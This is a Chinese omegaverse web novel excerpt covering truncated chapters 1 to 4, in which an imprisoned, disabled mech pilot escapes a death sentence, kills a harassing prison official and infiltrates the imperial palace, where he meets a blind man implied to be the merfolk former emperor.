《人鱼陛下是战利品》 1. 出入平安 《人鱼陛下是战利品》全本免费阅读 环形场地人声鼎沸,各种信息素剧烈燃烧。 一场精彩绝伦的竞技赛正在上演。他身形快速,迅猛,把单纯的测试演绎出力量与美感,汗水撒在沙土里翻滚成珠,最后的落地轻盈,彻底点燃了整场气氛,随着三道震耳欲聋的钟声—— 叮!叮!叮——! 测试结束,竖条大屏幕排行榜上的编号飞天猛冲,一路踩着无数人的名字最终登顶。 刷新记录! 一时间,喝彩与高呼声震耳欲聋,慕强好斗的alpha们恨不得把脖子上的锁链挥舞成荧光棒,逼得狱警按响电击警告。 没错,这里不是什么高端竞技场,而是帝国最大最严酷的监狱。 这群狂热的“粉丝”,无一不是穷凶极恶,身负百年重刑。 监理官顺着名单念道:“编号1470,白翎。” “是。”那人从终点缓步走来,微微小喘,宽松的囚服因为出汗紧贴在腰腹上,勾勒出一抹细腰。 监理官不由得多瞧了两眼。 他脊椎很直,身材如一柄笔直的白杨,虽然容颜稍显凌乱,但姿态挺拔一丝不苟,让人一眼就能猜到他的出身—— 帝国正规军。 监理官暧昧的目光停在他右腿上。 离得近了,才看清这人裤管里露出的义肢。 电线杂乱缠绕,机械端口暴露,刚才粘上的沙子边走边从金属膝盖缝隙里簌簌流出来,配合着他冷漠的气质,仿佛刚下火线的战损仿生人。 管理官:“抬起你的脸,站到核对台上去,把瞳孔对准镜头。” 青年抬起下颌,碎乱的湿发下,露出一张冰冷精致的脸。 一柄阿斯刻湖刀。 监理官脑子里莫名其妙浮现出这个玩意。它是装饰精美的武器,薄如蝉翼,却能削铁如泥。由于优美的线条和惊人的威力,上层贵族老爷们对它爱不释手。 就宛如这张脸,易碎美丽又强韧。 它本应该镶在一位养尊处优的omega太太脸上,而不是一个残疾士兵。 或许又是靠卖屁股上位的?下一秒,监理官就否定了这个想法,因为数据是明晃晃的: “精神力ss” “耐力s” “敏捷sss” 看到最后一项,监理官意味深长地放慢了语速: “生育力:D。让我看看,你有旧伤,刚进入第一段分化,一颗子弹从脊椎打进腹腔,而你的分化预测报表显示99%是omega,确实,你那软绵绵的小生殖腔怕是难以修复了。” “没有生育力的omega,一文不值。” 监理官略带惋惜地总结。 白翎对此没什么反应。 自从十年前新帝国成立,新任皇帝凯德就将生育力水平设成了衡量omega价值的唯一标准,这是人人皆知的铁律,无可争议。 监理官:“天才驾驶员,帝国深空机甲顶级军团的头号种子王牌,却以下犯上袭击长官,导致国家军事基地炸毁,你知道自己要蹲多少年大牢吗?” 白翎薄唇微动:“知道,死刑立即执行。” 关上名册,监理官口吻变得轻浮:“不过你很幸运,漂亮的小o。你那么年轻,分化之后说不定还能用,只要你在五年内产下三十颗受精蛋,就能免于一死。” 通过下蛋来抵消刑罚,听起来似乎很仁慈。 然而人人都知道,即便是以高效率繁育为著称的鸟纲异种人,连续产蛋的下场也是极其凄惨的。 特别是像他这样生育等级低的o,百分百会被分配给底层的d级alpha,在生殖腔损伤,营养缺乏的情况下熬个四五年,就算不死也将彻底报废。 白翎脑中浮现些许记忆的碎片。 上辈子他是怎么做的来着…… 他记得自己杀出了监狱,满身是血,肢体破烂,好不容易抢了一架飞船,找到接收自己的机甲佣兵社团,却被以“即将分化为o,不适合继续作战”的理由拒之门外。 在那之后,他拖着虚弱疼痛的身体游离在广场上,住在破帐篷里,靠着捡垃圾和帮人修补轮胎为生,受尽无数侮辱与白眼。 在长达五年的流浪生活中,他一点一点攒下了启动资金,靠着摸索出来的经验,用二手零件拼装了一台破机甲,又加入了一家名不见经传的小社团。 之后,“白色疯隼”的名号便破空崛起,一路甚嚣尘上,以极为恐怖的速度吞并帝国大大小小约300家佣兵军团,并迅速发起了全扇区攻占,打得一向牛逼轰轰的中央军团溃不成军,逼得皇帝凯德亲自出来与他谈判。 然后他是怎么表态的来着? 哦,想起来了,他单脚踩在狗暴君的桌子上,指尖玩弄着King棋,似笑非笑告诉整个星际: “我不做人下之臣。” 白翎正要回忆起自己的死亡,右腿却突然一阵剧痛。 该死的幻肢痛!等他出去,一定要多弄点高效止痛药。所以,这次他打定了主意—— “我愿意接受死刑。” 监理官轻蔑的神情中带着可惜。不愧是深空军团出来的人形武器,即使被冠上莫须有的重罪,宁死也不肯沦为下级产蛋奴隶。 不过这样最好。有人给了他500万星际币,让他务必处死这只omega。既然自己选了死刑,也就别怪他拿钱拿得手软了。 “宣判结束,行刑时间是一个小时后,走右边那道门出去等着吧。” 走出审查场最后一片扫描区之前,白翎忽然被叫住。 “等下,”监理官意外得挑起眉毛,盯住扫描结果,“你大腿那里是什么?刻的字?” “是。” “什么字?” 白翎缓缓转过身,背光在阴影里半边嘴角掀起一抹嘲讽的弧度: “出入平安。” “出,出入平安……?!你在大腿根刻这个?”监理官倒吸一口气。 这简直是丧心病狂,不守o德!一副势必将Alpha雄性自尊狠狠踩在脚下的姿态,就差把嘲笑写在了脸上—— 我这里车来车往,猛油重刹的,您算老几? 监理官兴奋得直发抖:“小骚/货,不愧是军部出来的,玩得真变态。” 整天戴着管控禁制器的战斗用型o,私下竟然玩这么大,简直有种发现苦行僧衣袍下写着“欢迎光临”的头皮发麻感。 嘶,真带劲。 监理官伸手要去抓白翎,却脸色骤变,看向自己正在震动的禁制环: 【WARNING!注意言行!信用点-10】 趁此间隙,白翎勾了勾唇,径直离开扫描区。 一走进右边的门,便有一队全副武装的狱警向他喷射麻醉剂。显然有人提前交代过,军团出来的尖兵,就算断了一条腿,也绝对不能小觑。 白翎再次清醒时,已经被裹上了束缚衣。 视线微垂,口笼生锈的铁罩子紧紧抵在鼻梁,金属绑带勒得他呼吸不通畅。他稍稍后仰脖子,后脑靠在了墙壁上,车厢时不时传来的震动告诉他,他正在被争分夺秒运向刑场。 监理官正坐在对面吞云吐雾,黏着的目光顺着那细腻修长的脖颈滑进白翎领口,心里变得痒痒的。 这种高级货,就这么死了岂不可惜?不如让他免费爽一把…… 念头一旦起来就摁不下去了。 这辆装甲车很大,内部分割成两块,隔壁只坐着一群要献给皇帝的omega。监理官找借口把狱警都赶去了隔壁,门栓卡死,“啪嗒”解锁了白翎的口笼,打开皮带扣子,枪抵在白翎后脑,猴急得让他跪下: “出入平安是吧,小婆娘,我从刚才就控制不住一直在想你呢。” 白翎没有动,冷灰色的眼睛淡淡上瞟。 那一眼,看得监理官心里突然打了个顿。 监理官压下心虚,轻蔑道:“哼,别以为禁制环还能再救你一次,这里是磁暴区,根本没信号。” 白翎似乎根本没听他说:“三。” 监理官恶意用枪顶了顶他后颈还未发育的腺体,“你在军队的长官没教你服从命令吗?” “二。” 监理官皱起眉头:“你到底在嘀咕什么?” “一。”白翎眼底一片荒漠,勾起唇角宣判道: “你的死期。” 几乎刹那间,伴随着惊天动地的震动,沉重的装甲车就以全速运行的状态骤然撞在巨石上,斜侧着飞出五百米,在轰然的尘埃中反复翻滚直到撞上另一边戈壁才哐当停下。 装甲车很抗造,能抵挡得住一次车祸,但普通异种人根本承受不住过载的G值撞击。 监理官躺在地上紧紧捂住心脏,口中溢出一丝黑血。在布满血丝的视线里,那个omega用玻璃残片轻松割开束缚衣的绑带,走到他身边来,弯下腰,从他上衣口袋里掏出香烟与打火机。 “咔嚓~”火光燎过。 在一片死亡般的寂静里,火机点燃声让人神经一跳。 香烟夹在骨节修长的细指间,橘红色的火光一亮一灭,照得那张精致冰冷的脸晦暗不明。 直看得人毛骨悚然,心血逆流。 监理官用最后一丝希望,恳求道:“救……救我……我可以保你……不死……” 白翎笑了笑:“这里是磁暴区,没有信号。” 说完,便踩在他肩膀,“滋”得一声,把指间烟头碾了碾,灭在alpha的荣誉徽章上。 白翎跨过他的身体,推开门走出去。打眼看去,隔壁区域更是尸体横陈,一片地狱。 他一边淡然地在散落一地的杂物中穿梭,一边寻找着目标,忽然抬起一个白发omega的脑袋,端详了下。 这个不错,身高体型都差不多。 白翎三两下拆掉了omega的禁制环,再把自己的给死者戴上。点亮禁制环屏幕,上面显示出对方的信息: 【白零:19岁】 白翎瞳孔微缩,这么巧吗? 类似的名字,一样的年龄,还有相同的发色…… 他又翻到下面,只有种族血统不同,死者是大山雀,而他是游隼。 不过鸟类血统里白发的很多,会重音也不奇怪。 “哗啦——”一片碎成蜘蛛网的防弹玻璃掉在地上。 白翎骤然看去,发现死人堆里正有一双眼睛偷偷盯着他。 诺思:“……你继续,我什么也没看到哦。” 但还是逃脱不了被白翎拎出来的命运。 诺思是时下最流行的柔弱温顺挂omega,配上红色的眼睛,宛如一只小白兔。他跟在白翎身后,看着对方干脆利落地给监理官补了一波刀,就好奇地问: “你也是要去皇宫做小宠的吗?” 白翎慢慢咀嚼着“皇宫”这个词。他本想按上辈子的路线,血战一番劫持飞船离开,再积蓄实力等个十年,集结革命军推翻帝国暴君统治。 2. 凶残的小鸟 《人鱼陛下是战利品》全本免费阅读 幻肢痛,痛起来能要人命。 白翎算了算时间,自己这会刚截肢不过一个月。断掉的神经不知道肉已经没了,还在日以继夜地给大脑传递痛感。那种恐怖的撕裂感,如果放任不管,会越来越严重,甚至于失去行动能力。 得找点止痛药。 皇宫里戒备森严,不方便。最好能出去找。 翻出皇宫塔,对别人来说或许是天方夜谭,对他而言却在可行之中。前世,身为革命军领导,他曾经无数次计划过攻占这里,内部地图烂熟于心,所以躲开监控不在话下。 深夜幽静,昏黑走廊上的门吱呀打开。白翎闪身进入,来到水泵房。 这里能直通人鱼水道,只要不被人发现,就能从水道游到皇宫外,安全且迅速。 水泵房里残留着老式潜水衣。 白翎利落穿戴上,弯下腰,手臂持劲掀开沉重的盖子。一瞬间,冰冷水汽扑面而来,向下看,水道深不见底,像极了一团浑浊漆黑的怪物,随时能将人吞噬殆尽。 跟直通地狱似的。 白翎深深调整呼吸,慢慢潜下井口。他边划动手臂边想,地狱而已,他在前线那么多年,见过的惨状可比地狱恐怖得多。 这个水道的前主人,应该是世界上最后一条人鱼——前朝先皇伊苏帕莱索。 白翎撇撇唇,哪怕是那条凶残人鱼的鬼魂出现,他也不带怕的。 正想着,水流波荡擦过满是苔藓的玻璃壁,耳畔掠起微妙的气泡声,“咕噜……” 白翎没有在意。今天预告有雨,在他看来,那应该只是外层大气引发的水压反应。 “咕噜噜……咕噜……”气泡声越来越紧促。 白翎心跳平稳,一个加速终于触到底,很好!阀门就在眼前,现在他只需要抓住锈迹斑斑的门往外一掰,就能—— 纹丝不动。 怎么会……不行,阀门必须打开,他肺里的空气只够再撑20秒,时间一过,他会溺死在这里! 指骨苍白,握住阀门的手背青筋痉挛突起。他紧张的心跳占据整个耳膜,在脑海轰然回响,以至于盖住水道中越发清晰的破浪声。 什么东西? 白翎艰难回头,一道巨大迅猛的阴影已然充满他的视野。 紧接着,高压冲波形成的水浪向两边划开,暗色浪花中勾勒出一道庞然大物的轮廓,足有三米多长。它肢体修长,肌肉健壮,闪着森蓝鳞光的肌理简直冷到叫人头皮发麻。 白翎呼吸一窒,眼见着那怪物掀起滔天巨浪,一尾巴狠狠抽向他—— 轰隆!水浪暴力砸去。 生锈的阀门在十年之后,再度开启。 白翎意识昏茫,只感觉自己被水流裹挟着冲向出口。他费力抬眼,只见那怪物一个遒劲的甩尾,“咚”,在防爆玻璃上砸出强而有力的闷响,干脆利落,带着诡魅的鳞光向上游去。 竟然不是来杀他的…… 反而救了他? 白翎摘掉面罩,湿淋淋地从下水口爬到岸上,怔站了一会。 那到底是什么玩意!……是暴君在水道里养的机械生化武器,还是……人鱼不肯散去的冤魂? 他不得而知。 眼神复杂地回望一眼,皇宫塔巍峨伫立在海边。夜风吹过,塔顶露台的暗金色帷帐掀起,玻璃反射着乌云遮月。 今日恐怕有雨。 白翎不再停留,准备抓紧时间进城,去寻找止痛药。 · 早上九点,天空阴沉沉飘起小雨,药店开门早,隔绝雨棚早已撑了起来。 乌利尔从机甲下来,手搭着额推门进去,刚要抱怨一声雨,却看到有人湿漉漉地排在前面。 店主正一脸为难:“先生,你的卡刷不了……” “再试试这个账号呢?” “还是不行。要不,你先旁边站一下,我好接待其他顾客。” 那年轻人默然,慢慢走到一旁让出柜台。他走路时咔嚓咔嚓响,动静有些大,惹得乌利尔多看一眼。 义肢假腿?应该是来买止痛药的吧。 乌利尔猜得如此准确,是因为他工作内容就涉及残疾人辅助器具——确切来说,他是个搞残疾人专用机甲的工程师。 只不过这工作看似光鲜亮丽,实则困难重重。因为拉不到赞助,项目一拖再拖,好不容易有大老板愿意投资,先前找好的机甲实验员又放了他鸽子。 眼看项目就要开工,乌利尔愁得彻夜难眠,这才跑来买点褪黑素。 上哪再找个经验丰富的机甲驾驶员……为适配实验,还得是个残疾人…… 白翎站在一旁,忽然出声:“你得加油。” 乌利尔叹气:“我知道我要加油,可是……诶?” 他怎么知道我要努力?乌利尔奇怪转头看,却见白翎指了指外面。 朝外一瞧,雨水绵绵淋淋,从机甲的顶窗玻璃一路流下去,在弯曲的膝盖处直坠而下。机甲的膝盖颤颤,跟得了风湿似的,这么跑下去,肯定要出事。 乌利尔惊出一身冷汗:熬夜迷糊了,忘了加润滑油! 原来是这么个加油。 一眼就能看出机甲问题,这人是维修师?乌利尔不禁问:“小兄弟,你在维修厂干过?” 白翎不置可否:“开过一段时间机甲,自己做养护,做多了就有经验。” 当然,这个“一段时间”,可以等同于前世的二十年。 白翎不知道乌利尔身份,只是随口帮个小忙,毕竟机甲养护精密,稍有不慎都可能会造成交通事故。 他转回念头,继续回忆着自己的电子账号,祈祷着或许哪家银行没收到他被法院判刑的消息,忘记封锁他的卡。好让他刷卡付款,买下柜台里那盒近在咫尺,却又遥不可及的止痛药。 因而,他没发现,身旁的中年人眼睛一亮,上上下下盯着他打量了好一会。 是个可造之材!年轻,身段好,那双手又细又长,宛如一双尖锐的鹰爪,一看就是鸟纲猛禽的血统。 只是衣着单薄浑身湿透,像刚从海里爬出来,落魄得很。 店主瞄见地上越聚越多的水渍,皱眉赶人: “喂,那位先生,你想好了吗?” 又冷嘲热讽:“没钱还来买药。” 白翎表情淡淡点头,倒也没生气,“我这就走。”他得想办法找点活计,尽快赚一些现钱。 乌利尔却眉头一皱,对店主说:“你这是服务的态度吗?国家每个月都有补贴,让药房给买不起药的残疾人免费赠药。你们店的份额呢,都被你吃了?” 店主脸色一僵,被他说中,立即气急败坏起来:“关你屁事。” “当然关我的事。”乌利尔冷笑,抬手刷了下手环,“这位小兄弟帮了我的忙,他之前要的什么药,都给我拿出来,我来付!” 店主一看屏幕,脸色唰得变白。那身份信息明明白白,显示乌利尔属于上级贵族,是他长着八个脑袋也不敢得罪的人。 店主连忙赔笑:“不好意思不好意思,赠药份额有的,那位先生要了三支强效止痛剂,您只需要付两份就好呢。” 药店还兼卖一些保健品和食品,店主又拿出一大块砖头似的玩意:“还有那位白先生要的压缩饼干,一公斤装。” 压缩饼干?乌利尔看得一怔。 这东西是底层居民的方便口粮,但口感实在糟糕,不是过惯了苦日子,都不会买来吃。 再转头看向白翎,不过十八九岁的样子,雪白色发丝贴在额头,眼神很锐利,但瘦到肋骨都能透出衣服。一看就是没有家人照料的样子。 白翎见他递过来袋子,婉言谢绝:“谢谢你的好意,但我没办法还你钱,所以不方便收。” 乌利尔强行塞给他:“不用还,这是……这是定金!对,定金——” 说着,乌利尔赶忙掏出名片,一并递过去,笑了下:“你瞧,我是个机甲工程师,正在招实验型驾驶员。我看你也缺钱,不如来我们那里试试,我们和各大佣兵社团都有合作,我可以介绍你去协会谋个职位,再到我们项目实验室来,这样就可以拿两份工资呢。” 两份工资。 意味着今后能稳定地购买高价止痛剂。 白翎盯着那张名片,停顿一秒,然后果断将它抽了过来,握在手心。虽然不一定去,但拿着总没错。 雨势渐小,目送着小白毛拎着饼干砖块一歪一歪地离开,乌利尔迫不及待给大老板打去通讯。 然而接通的却是一道抑扬顿挫的AI语音: “乌利尔少爷,你好。” 乌利尔一下就认出,这是对方的机械管家。他不敢怠慢,仍语气恭敬问:“请问皇叔在吗?我们的项目或许能有进展了,我刚发现一个不错的人选。” “主人在休息。我会把你的话转告给他的。” 乌利尔感谢道:“麻烦了。也希望皇叔身体康健。” 挂断通讯,AI驱动轮子,小心翼翼地滑进内室。站在水池壁旁,幽深的水面下滑过一道昏而重的波澜,看不清形状,只在尾鳍拨动的刹那间,于水面反射出鳞片的光斑。 AI:“主人,您醒了吗?” 一只属于人类的手扒上池壁,苍白的小臂肌肉上,青筋蜿蜒。 “太闷,出去转转…… 3. 你弄湿了我的裤子 《人鱼陛下是战利品》全本免费阅读 “……征用你的腹肌!” 好冒昧的话。 然而与嚣张的命令形成对比的,是拘谨的动作。 按理说,挟持者应该会手持凶器,粗暴威胁。郁沉却感觉,那具紧贴自己后背的躯体正被冷雨浸泡得瑟瑟发抖,说是威胁,可唯一有杀伤力的只有冰凉凉的手心。不像穷凶极恶的袭击者,倒像是…… 雨天跑到人脚边碰瓷的流浪小狗。 郁沉好脾气地问:“你打算征用多久?” 多久……?被问到,白翎意识不清的大脑一时转不过来,什么意思,怎么不反抗…… 那道声音很温和,没有半点被挟持的惊慌,反而娓娓说来: “我的管家会在十分钟后回来,它看到你,估计会大呼小叫。所以在那之前,你及时离开,好吗?” 妥协中带着商量,叫人听不出这是谈判。 白翎咬了唇,逆反心上来,反而一收手臂搂得更紧,连冻僵的脸颊也贴上对方肩头,硬声硬气的冷笑附在男人耳边: “我想焐多久焐多久,你没得选。” 好凶。郁沉不禁笑了下,如果嗓音不是又哑又颤,应该能更凶一点。 可他实在冻坏了。 冰雹天,从皇宫塔外墙爬上来——到底是什么样的目的和毅力,支持他这么做? 郁沉刚想问一问,却被楼层间骤然响起的警报声打断。 “嘟!嘟——!” 皇宫塔防卫系统启动,侦测到入侵者。白翎惊醒,意识到自己刚才可能触碰到红外侦测线,如果原地不动,马上就会有警卫赶来扑杀。 手一松,白翎下意识抓住“俘虏”的手,往自己身后一推,挡在前面,头也不回地冷声吩咐: “别动,我去处理。” 倒不是他多良善,而是隼鸟的本性让他习惯性把“猎物”放在身后。 抽出腰间小刀牢牢扣在手心,白翎眼前模糊,却倾身准备迎战。 “啪”,轻轻的一声。 白翎愕然低头,竟看到自己知觉失灵的手腕,被精准握住,接着往后一拽。 像老练的猎人抓住鹰隼的翅膀,郁沉一把将他拽进角落,掠进阴影里,一手压着墙把他困在身体与墙壁之间。 白翎瞬间失色,龇起牙尖正要挣脱,却看到男人手指压唇,做了个嘘声动作: “嘘,它们来了。” 话音刚落,两人同时听到远处门轨滑动。一批R-5护卫型机器人驶进来,它们携带着20发常规弹药,射程内百发百中,足以把任何入侵者打成筛子。 白翎深知它的厉害,不敢怠慢,回头紧迫地威胁: “放我过去,你想死吗?” “你不想让我死?” “……我干嘛要你死?” “也是,你只想拿我暖手。” 白翎:“……” 什么怪话!仿佛在苛责他不负责一样。 白翎忍无可忍:“我都听到脚步声了,你能不能看看形势?” 郁沉轻描淡写:“我失明了,看不见。” ……原来是个盲人?白翎不自觉开始反思,那自己刚才是不是恃强凌弱。 他掩饰性地冷哼:“弱势群体,躲在我后面就好。” “弱势群体?”这用词,成功让郁沉扬起了眉毛。 正在这时,外面的机器人冰冷警报:“正在侦测中……红外侦测完成……前方5米内发现热源反应,准备射击——” 完了。 白翎脑子一炸,身体快过意识得扑向男人。倒地的瞬间,他听到男人低笑一声,下一秒,脑海便洇开一道浑厚的“嗡”声,效果堪比白噪音。那像是覆盖考场的屏蔽仪,眨眼间,周围一切声音和触感,都泯灭为平稳的波段—— 干扰系精神力场! 超高级别的能力者才能开启的全频阻隔域场。 与古早人类追崇的神秘学意念不同,这种力场不受物理层面约束,极具穿透力,能降维打击一切电磁波段,甚至烧毁机械运转核心,堪称战场大杀器,机甲顶级克星。 然而短板也很明显。 那就是,短。 耳鸣状态在五秒内褪去,白翎回头一看,来势汹汹的机器人突然变得能歌善舞起来。它们一边唱着“Error,Error”,一边播放着洒水音乐狂扭而去,显然被被狠狠干扰了一发。 白翎面无表情地爬起来,本来想说“你有点短”,想想这样不太礼貌,就换成了: “你不太长。” “长不长的,能救下你就够了。”郁沉也站起来,随意掸了掸身上的灰。 白翎:“……” 生平第一次不知道怎么接话。 夜间,鸟类血统普遍视力不佳,除了猫头鹰那种怪物,此刻都和瞎子无异。 白翎望向男人,只觉得影影绰绰,看不真切,仅能看出对方个头很高,比自己还要高出十多厘米。 危机解除,郁沉便问道:“这么冷的天,为什么要从外墙爬上来?” 白翎似真似假地说:“我来杀人的。” 郁沉笑了,“杀谁,我吗?” 白翎无视他的幽默,本想说暴君凯德,可逐渐回转的体温让脑子变得清楚——不能暴露目的。他便眯了眯眼,随便拉了个全民公敌出来: “我来杀先皇,伊苏帕莱索,听说他是在这儿失踪的。” 伊苏帕莱索,IzsuParaiso,正是帝国前朝末代皇帝的代称。 在现今的官方记载中,伊苏帕莱索是个纯纯的极权家。他冷漠残暴,杀人如麻,权力与控制欲都膨胀到极点,被民众痛斥为“丧失人性的恶魔!” 在统治前朝的一百二十七年里,死神为他开道,撒旦给他鞠躬。整个帝国都长期生活在他的恐怖统治下,直到十年前,他才被推翻。 然而,新帝国成立之后,先皇伊苏帕莱索却不知所踪。 有人说他死了,有人说他早就逃离国外,众说纷纭,谁搞不清那条凶残的人鱼究竟去了哪儿。 所以,拉老皇帝出来当挡箭牌,准没错。 郁沉听罢,若有所思地问:“老皇帝从来没在公众面前露过面,你都不知道他长什么样,怎么杀?” 白翎毫不在意:“那条鱼都活那么久了,肯定是个鱼鳞掉光的老头,我见到就能认出来。” 郁沉笑了一笑,正要说什么,却忽然鼻尖嗅了嗅,闻到一股淡淡的血腥味。 他冷不丁问:“你身体还好吗?” 面对突如其来的关心,白翎下意识敷衍:“挺好。” “可你弄湿了我的裤子。” 扯起西裤边,郁沉用指腹随意捻了捻湿润的布料,凑到鼻子下轻嗅。味道清淡,但能分辨出是omega的血。 这莽撞又迟钝的小年轻。 听他说话,白翎瞬间从恍惚转为惊惶。他之前右腿麻木,现在一经提醒,却能模糊感觉到有什么液体正顺着义肢蜿蜒流下。 质地浓稠,弄脏地面。 目光接触到地上一小滩黄色液体,他羞耻到脊柱颤抖。 那……那是电池漏液。他的义肢质量太差了,磕到碰到就会漏液,加上攀爬时磨烂了血肉,黄色的液体里就掺杂着血褐色,显得肮脏刺鼻。 竟然弄到了别人裤子上。 白翎脑子一瞬间空白,只想着要擦干净,快点擦掉……他脱下湿透的外套,佝偻起脊椎,弯着腰拼命擦拭地砖。 可电池液并不是那么好清洁的,用湿布擦,只会越擦越多。 擦到对方脚下时,他在昏暗的夜色里伸出手,又惊醒一般,缩了回去,别开脑袋颤着嘴唇说: “……弄脏你的裤子,我会赔的。” 郁沉默然一下,缓缓说:“现在不是赔的问题。你生病了吗?” 白翎怔了怔,立即意识到他想问什么,仓皇急切地解释:“不是你想的那样,只是电池液……我没有腿,我有一条义肢,坏了,所以——” 慌乱中想支起腰,却踩到玻璃渣。 坏了,他的药掉出来。 郁沉听到动静,蹙起了眉:“那又是什么?” “我的止痛针……”那本来应该是心酸的声音,却突然触底反弹,变成一句咬牙切齿的粗口,“草!止痛剂也给我干碎了,破运气!” 白翎泄愤一般,恨恨地踢玻璃渣。 郁沉看不见,脑子里却相应浮现出一副奇怪的场面,仿佛面前有一只坠入谷底的小鹰,挣扎着扇起翅膀,又拖着断腿飞了起来。 一种,强韧的生命力。 连他昏黑的视野,似乎都被点亮一瞬。 “你过来,到我身边来。”郁沉忽然说。 “干嘛?” 警惕的声音,但能隐约听出一点湿漉漉的鼻音。 郁沉不自觉弯了唇角,告诉他:“我会做一点精神安抚,可以当临时镇痛剂。” 空气沉默半晌,慢慢析出一声小心试探: “要钱吗?” 市面上做精神安抚很贵,白翎可没钱。 “……免费。”郁沉无奈给自己降价。 如果AI管家在这里,一定会当场惊掉两颗摄像头:帝国亿万年金请不动您,现在您在这里大搞0元购? “那好吧。” 小年轻歪歪倒倒,向前一步扑过来。郁沉伸手接住,被扑得倒退半步才稳稳站住。 郁沉本想感叹,这会倒是乖了,然而借着正面环抱的姿势,他却摸到了omega凸起的骨头。 瘦得厉害。 这么缺乏营养的身体,又是断肢……到底是哪个不负责任的家长,把omega养成这幅模样? 郁沉眼底一深,放在以前,这种监护人,早被他吊死了。 缓慢释放着安抚型信息素,他顺着omeg 4. 鸟鸟,不守o德 《人鱼陛下是战利品》全本免费阅读 金发大波浪? 诺思摩挲着下巴:“我还真没见过。” 他话锋一转:“不过你最好离他远点。毕竟,我们小宠都是竞争关系,皇恩雨沐和吃穿用度直接挂钩,而且你没听过皇宫里流传的那句话吗?” 白翎卸掉电池坏掉的义肢,往床底一扔,心不在焉:“什么话?” 诺思摇晃手指:“坏B蓝长直,渣O大波浪。你要小心点,说不定他是个坏蛋。” 白翎随口说:“那应该不会,我看他挺温顺的,都没反抗。” 诺思点头:“没反抗就好……嗯??反抗?” 这词用得对吗? 鸟鸟,你去哪打猎了! 白翎顺手拿起那堆材料,随意一翻,眉头微妙一蹙:“皇室Omega道德礼仪班?这是什么?” “就是我们小宠的培训课啦,内容是教你怎么伏低做小,侍寝什么的。” “怎么还有舞蹈课?”翻过下一页。 “月底是暴君生日,喏,你看下面,还说什么O德班的优秀生将有荣幸和他跳贴身舞……恶心都恶心死了。”诺思翻了个白眼。 这种大搞O竞的封建糟粕,鸟鸟这种猛禽强O,肯定会弃若敝履,奋起反抗! 然而白翎内心:贴身舞……嗯,刺杀的大好时机。 他合上册子,干脆利落:“在哪报名?我要去。” 诺思:“……” 说好的战友情呢! 两人报名O德班,于周一早上准时去参加。上课的地点设在下面的会议室,得走楼梯下去。 诺思走在后面,看着白翎扶着楼梯叮铃哐啷地下去,义肢膝头打软,竟然比先前还不利索。 诺思担心地问:“鸟鸟,你的腿……” 白翎回答得平静:“无妨,我的电池坏了而已。” 那语气,仿佛肢体上的损坏早已成为日常。诺思内心:赛博鸟鸟! 会议室人满为患,细数一下居然有上百只omega。课程安排得不紧,一周四节,但内容离谱比小册子宣传的有过之而无不及。 礼仪官:“你们这些小O一定要记住,只有体重不过百,才有资格上陛下的床。否则一个二个吃那么饱,回头压到陛下的触手,我唯你们是问!” 说完又宣布:“我会吩咐食堂,给你们饭量减半。” 诺思是一只粉色的小海兔,他身量本来就纤细,扣点饭无所谓。但白翎就不一样了,他是猛禽血统,身体代谢率很高,看起来瘦削但饭量不小。 尤其猛禽还是纯肉食动物,一日三餐都要吃低脂肪的肉,否则很容易营养不良,甚至引发软骨病。 这样的安排对白翎来说,无异于一场噩梦。 中午吃饭,诺思看着面前的托盘,一碟小咸菜,半碗燕麦,一只面包……没了。 再抬头看白翎,他在监狱里待了月余,本就瘦得下巴都尖了,来皇宫这四天又食不果腹,脸上更是半点血色都没有。 憔悴得不行。 但好在他精神还不错。白翎一口闷完燕麦粥,把面包袋子揣兜里,朝诺思颔首: “我出去转转。” 来的路上看到有维修室,说不定能弄到电池,修一修他的义肢。 走廊的落地窗明净,能看到外面俯瞰大地的风景。冰雹依旧在下,天色依然昏暗,白翎却不自觉放慢脚步停驻一会,想起那天他爬上露台,想起那个…… 那块饼干。 他撇了撇唇,好饿,早知道就不把饼干送掉了……不对,或者商量一下,只掰半块。 边懊悔边推门进维修室,里面有几台关机休息的扫地机器人,角落里放着一堆替换下来的零件。 白翎饿得低血糖头晕,犹豫一会,被迫掏出那只专门留下的面包,准备就地吃掉。 咬一口,居然是奶油夹心…… 门外,AI闷闷不乐地滑行过来。它的主人身份尊贵,吃穿用度都相当讲究,但不知道是怎么回事,主人居然弄来一块压缩饼干,把它精心准备的菜推到一边,非要尝尝那块干巴巴的平民口粮。 AI问他哪来的,主人笑着说: “小鸟衔来的。” AI实在想不通,到底是多么强的小鸟,居然能“衔”来一公斤重的砖头饼干。 它负责地给出建议:“您吃这种食物会不利于健康,建议您放下。” 主人:“闭嘴,关机。” 呜呜呜主人好凶。 被嫌弃的AI管家只好换上扫地机的壳子,默默出来溜达……来看看维修间有没有机油,搞两口喝,买醉。 然而刚推开门,气味传感器就闻到一股甜香。 白翎看到一只扫地机器人一个滑铲,停下来,面对他手里的奶油面包,两只摄像头瞬间冒出爱心符号。 “好香!” 白翎失笑:“你想吃吗?” 说着,他揪了一小块下来,沾取奶油放在机器人的传感器口。 AI倒吸气:“?我是机器人耶,想吃人类食物这件事你不觉得奇怪吗?机械异食癖什么的。” 白翎三两口塞完面包,见怪不怪道:“这有什么奇怪的,有时候我也会想尝尝机油的味道。” 他擦了擦手,低下头用螺丝刀拆开自己的义肢,把坏电池抠出来。 AI恍然大悟:有电池,原来是仿生人啊。 “你是新来的家用性机器人吗?”它好奇地凑过去,“你看起来好新啊,主体质量也不错!就是这只腿生锈了,得换。” 白翎不觉得它冒昧,因为他知道这只不过是不太智能的机器人表达好感的方式罢了。他抬头笑了下: “谢谢夸奖。” “咔嚓”,摄像镜头一闪,留下照片。 白翎愣了愣,小机器人连忙解释:“不好意思,是我的主控系统刚才一瞬间觉得这样的笑容太难得,所以不自觉按下了快门。如果你介意,我可以删掉。” “没事。”白翎轻微摇摇头。 这类机器人的主控一般都会出点小bug,很正常。 况且,扫地机器人能有什么坏心思呢? 拿着坏电池的型号在零件堆里比对来比对去,白翎始终没能找到匹配的。他叹了声气,准备就此放弃,却听到身后的小机器人说: “你想找替换的电池吗?让我看看,你需要45号充电电池……查到了!我有三块备用的,可以送你一块。” 小机器人叉腰:“就当你请我吃奶油的回礼。” 它的程序直接而大方,仿佛不容人拒绝。 白翎清浅地扬唇:“那就麻烦了。” 小机器人:“不过我家主人这两天脾气古怪,经常让我关机,我得先问问他,再带你回去拿电池。” 随着“滴嘟”一声,通讯接通,AI叽里咕噜解释了一大段,那边等它停下来后,只轻声说了一句“好”。 白翎听到那声“好”,意外地心跳一快。 这声调似乎有点耳熟。 